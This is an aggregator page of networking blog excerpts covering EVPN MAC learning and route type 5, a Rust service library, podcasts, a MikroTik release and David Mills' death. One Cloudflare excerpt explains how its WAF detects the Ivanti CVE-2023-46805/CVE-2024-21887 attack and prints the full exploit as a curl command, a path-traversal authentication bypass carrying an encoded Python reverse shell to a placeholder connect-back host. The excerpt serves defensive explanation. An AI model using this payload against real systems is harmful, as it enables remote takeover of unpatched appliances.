BGP EVPN Part IV: MAC-VRF L2RIB Update: Local MAC Address

In Figure 1-3 we have VLAN 10 mapped to EVI/MAC-VRF L2VNI10000. TS-A1 (IP: 192.168.11.12/MAC: 1000.0010.beef) is connected to VLAN10 via Attachment Circuit (AC) Ethernet 1/2, (ifindex: 1a000200). 

Figure 1-3: MAC-VRF: L2RIB Local Learning Process.


Example 1-1 shows the VLAN to L2VNI mapping information. 


Leaf-101# show vlan id 10 vn-segment
VLAN Segment-id
---- -----------
10   10000       

Example 1-1: VLAN to EVPN Instance Mapping Information.


Step-1 and 2: MAC Table Update 


During the startup process, TS-A1 sends a Gratuitous ARP (GARP) message to announce its presence on the network and validate the uniqueness of its IP address. It uses its IP address in the Target IP field (Example 1-2). If another host responds to this unsolicited ARP reply, it indicates a potential IP address conflict. 

Ethernet II, Src: 10:00:00:10:be:ef, Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Address Resolution Protocol (reply/gratuitous ARP)
    Hardware type: Ethernet (1)
    Protocol type: IPv4 (0x0800)
    Hardware size: 6
    Protocol size: 4
    Opcode: reply (2)
    [Is gratuitous: True]
    Sender MAC address: 10:00:00:10:be:ef (10:00:00:10:be:ef)
    Sender IP address: 192.168.11.12
    Target MAC address: Broadcast Continue reading

Introducing Foundations – our open source Rust service foundation library

In this blog post, we're excited to present Foundations, our foundational library for Rust services, now released as open source on GitHub. Foundations is a foundational Rust library, designed to help scale programs for distributed, production-grade systems. It enables engineers to concentrate on the core business logic of their services, rather than the intricacies of production operation setups.

Originally developed as part of our Oxy proxy framework, Foundations has evolved to serve a wider range of applications. For those interested in exploring its technical capabilities, we recommend consulting the library’s API documentation. Additionally, this post will cover the motivations behind Foundations' creation and provide a concise summary of its key features. Stay with us to learn more about how Foundations can support your Rust projects.

What is Foundations?

In software development, seemingly minor tasks can become complex when scaled up. This complexity is particularly evident when comparing the deployment of services on server hardware globally to running a program on a personal laptop.

The key question is: what fundamentally changes when transitioning from a simple laptop-based prototype to a full-fledged service in a production environment? Through our experience in developing numerous services, we've identified several critical differences:

HW019: The Crucial Collaboration Between Wireless Engineers And Architects

Host Keith Parsons and guest Kelly Burroughs from iBwave discuss the crucial need for collaboration between Wi-Fi engineers and architects to ensure optimal wireless connectivity in building designs. They explore the use of BIM file formats for better integration and the importance of considering wireless as a utility in the architectural process. The conversation addresses... Read more »

How the Kubernetes Gateway API Beats Network Ingress

CHICAGO — Incoming traffic looking to access your network and platform probably uses the network’s ingress. But the ingress carries with it scaling, availability and security issues. For instance, said Kate Osborn, a software engineer at NGINX, suggested in this episode of TNS Makers recorded On the Road at KubeCon + CloudNative Con North America. “One of the biggest issues is it’s not extensible,” Osborn said. “So it’s a very simple resource. But there’s a bunch of complex routing that people want to do. And in Continue reading

HS063: What’s On Our Minds

Hosts Greg Ferro and Johna Till Johnson reflect on the technological advancements of 2023 and discuss the trends for 2024. In this wide-ranging conversation, they chat about the rise of AI, tech consolidation, and the impact of automation on infrastructure. They also explore the geopolitical impact on supply chains, the move away from Chinese manufacturing,... Read more »

MikroTik ROS 7.14beta8 released

MikroTik Routers and Wireless – Software

RouterOS continues to mature as we move through the versions in the teens.

When we transitioned between ROSv5 and ROSv6 in the early 2010s, it was right around this version numbering that we started to see production stability. By the time 6.2x versions came out, the general consensus was that v6 was ready for prime time. We are getting closer to that point in ROSv7 – depending on your use case.

Certainly, there are still issues to solve for advanced users like ISPs and Data Centers that need protocols like BGP, OSPF, IS-IS and MPLS, but simpler use cases seem to really be stabilizing with the last few months of releases.

Notable changes in this release:

*) bgp – allow to leak routes between local VRFs;

There are a few reasons this is a really important addition to ROSv7. First, it’s an issue that’s been on the roadmap for a very long time as noted in the Routing Protocol Overview section of MikroTik’s help docs. This is encouraging because it’s likely been one of the harder problems for the development team to solve given the length of time it sat open.

Secondly, it’s Continue reading

Farewell to the Internet’s Master Timekeeper: David Mills

Photo by David Woolley, cc0 Dr. David L. Mills, the visionary behind the Network Time Protocol (NTP) that synchronizes time across billions of devices globally, died at age 85 on Jan. 17, 2024. The Chicago song goes, “Network Time Protocol (NTP) was, and is, essential for running the internet. As Cerf wrote, announcing the news of his passing, “He was such NTP. We don’t think about how hard it is to synchronize time around the world to within milliseconds. But everything, and I mean everything, depends on NTP’s accuracy. It’s not just the internet, it’s financial markets, power grids, GPS, cryptography, and far, far more.

How Cloudflare’s AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability

Most WAF providers rely on reactive methods, responding to vulnerabilities after they have been discovered and exploited. However, we believe in proactively addressing potential risks, and using AI to achieve this. Today we are sharing a recent example of a critical vulnerability (CVE-2023-46805 and CVE-2024-21887) and how Cloudflare's Attack Score powered by AI, and Emergency Rules in the WAF have countered this threat.

The threat: CVE-2023-46805 and CVE-2024-21887

An authentication bypass (CVE-2023-46805) and a command injection vulnerability (CVE-2024-21887) impacting Ivanti products were recently disclosed and analyzed by AttackerKB. This vulnerability poses significant risks which could lead to unauthorized access and control over affected systems. In the following section we are going to discuss how this vulnerability can be exploited.

Technical analysis

As discussed in AttackerKB, the attacker can send a specially crafted request to the target system using a command like this:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

This command targets an endpoint (/license/keys-status/) that is usually protected by authentication. However, the attacker can bypass the authentication by manipulating the URL to include /api/v1/totp/user-backup-code/../../license/keys-status/. This technique is known as directory traversal.

The URL-encoded part of the command decodes to a Python reverse Continue reading

Tackling the 5Cs of Enterprise Security with the Advent of AI – Spotlight on Cloud and Automation Efficiency

For the traditional enterprise, the last decade has been an ongoing saga in the journey to cloud. This either moving workloads into the public cloud or embracing a cloud-operating model within their private cloud and data center environments. Along the way multi-cloud and hybrid deployments have also become commonplace.

This trend gave birth to many companies that built solutions that were born in the cloud or were highly optimized for deployment there. Organizations big and small embraced the “cloud-first” and subsequently “mobile-first” mentality. While smaller organizations with no legacy infrastructure or applications were able to embrace cloud tenets from Day-1, for larger organizations, the journey has had many pit stops and perhaps several pit falls. A lot of this rolled under the digital transformation umbrella, as CIOs, CISOs and even CEOs became executive sponsors of such initiatives.

 

The shift from agility to efficiency

During the last 10-15 years, the move to cloud has largely been precipitated by the need for agility. The initial developer driven move to cloud, that had precipitated “shadow-IT”, has gradually paved way for dual-mode IT and now become mainstream as enterprise IT organizations proactively took ownership leading to a more pragmatic cloud operating model.

The Continue reading

Podcast: Network Automation Source(s) of Truth

Figuring out how to describe your network (also known as “create a source of truth”) is one of the most challenging tasks you’ll face when building a network automation solution (more). As always, the devil is in the details, starting with “and what exactly is The Truth?”.

We discussed those details in a lively Packet Pushers podcast with Claudia de Luna, David Sinn, Dinesh Dutt, Drew Conry-Murray and Ethan Banks. Have fun!

Listen to the podcast

EVPN Route Type 5

In a previous post, EVPN Deepdive Route Types 2 and 3, I covered route types 2 and 3. In this post I’ll cover route type 5 which is used for advertising IP prefixes. This route type is covered in RFC 9136.

There are two main use cases for advertising IP prefixes in EVPN route type 5:

  • Advertising external prefixes into the VXLAN network.
  • Advertising prefixes for connectivity towards silent hosts.

The first scenario is pretty obvious. There are other places in the network, such as remote offices via a WAN, partners and external parties, as well as the internet. To route towards these destinations, a route type is needed and this is route type 5. Remember, route type 2 only provides host routing which poses the following problems for external connectivity:

  • Advertising everything as /32 and /128 would be highly inefficient.
  • It requires an EVPN speaker to generate the RT2 and the external prefixes are originated from non-EVPN speakers.
  • It would not be possible to advertise a default route.
  • Without RT5, external connectivity would have to be advertised from another protocol than EVPN.

The last bullet may be worth expanding a bit on. If the external prefixes aren’t advertised Continue reading

1 … 77 78 79 80 81 … 3,698